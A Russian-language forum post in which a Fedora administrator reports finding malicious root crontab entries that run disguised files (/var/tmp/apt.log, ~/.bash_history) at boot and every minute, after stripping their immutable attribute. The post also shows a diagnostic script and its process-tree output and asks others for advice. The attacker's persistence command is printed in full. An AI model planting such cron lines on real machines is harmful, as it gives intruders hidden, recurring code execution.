Обнаружил сегодня очень странную штуку.
Кто то вписал в крон рута следующее:
@reboot /bin/sh -c "(cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '$HOME' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history')); "
* * * * * /bin/sh -c "(cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '$HOME' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history')); "
Соответственно, после ребута и примерно раз в минуту запускаются на исполнение файлы /var/tmp/apt.log и ~/.bash_history
Положил /var/tmp/apt.log
/root/trouble/apt.log 271/271 100%
#!/bin/sh
rm -rf /root/.bash_history
LOG=$(mktemp -p /tmp apt-XXXX.log)
SID=$(ps -o sid= -p $$)
echo "pid:$$" >> ${LOG}
echo "SID:${SID}" >> ${LOG}
ps --forest -o pid=,tty=,stat=,time=,cmd= -g ${SID} >> ${LOG}
ps --forest -o pid=,tty=,stat=,time=,cmd= >> ${LOG}
и сразу стало понятно, откуда ноги:
1113 ? Ss 00:00:00 /usr/sbin/crond -n
14370 ? S 00:00:00 \_ /usr/sbin/CROND -n
14406 ? Ss 00:00:00 \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root' &&
[ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
14407 ? S 00:00:00 \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/root
' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
14408 ? S 00:00:00 \_ /bin/sh -c (cd '/var/tmp' && [ -f 'apt.log' ] && (chattr -i 'apt.log' 2>/dev/null; chmod +x 'apt.log' && ./'apt.log')); (cd '/
root' && [ -f '.bash_history' ] && (chattr -i '.bash_history' 2>/dev/null; chmod +x '.bash_history' && ./'.bash_history'));
14411 ? S 00:00:00 \_ /bin/sh ./apt.log
14416 ? R 00:00:00 \_ ps --forest -o pid=,tty=,stat=,time=,cmd=
При этом файлы остаются с битами исполнения, от повтора истории появляется куча странных эффектов и т.д. и т.п.
Система федора, а используется apt.log, что сразу красный флаг. При этом в /var/tmp обнаружился исполняемый yum.log представляющий собой исполняемый бинарный файл с зависимостями только на libz. В общем, похоже на взлом не особо умными людьми. Прикола ради проверил на вирусы онлайн, нет, никто не опознал.
Никто не встречал такого? Система свежая, особо попадать там было неоткуда.
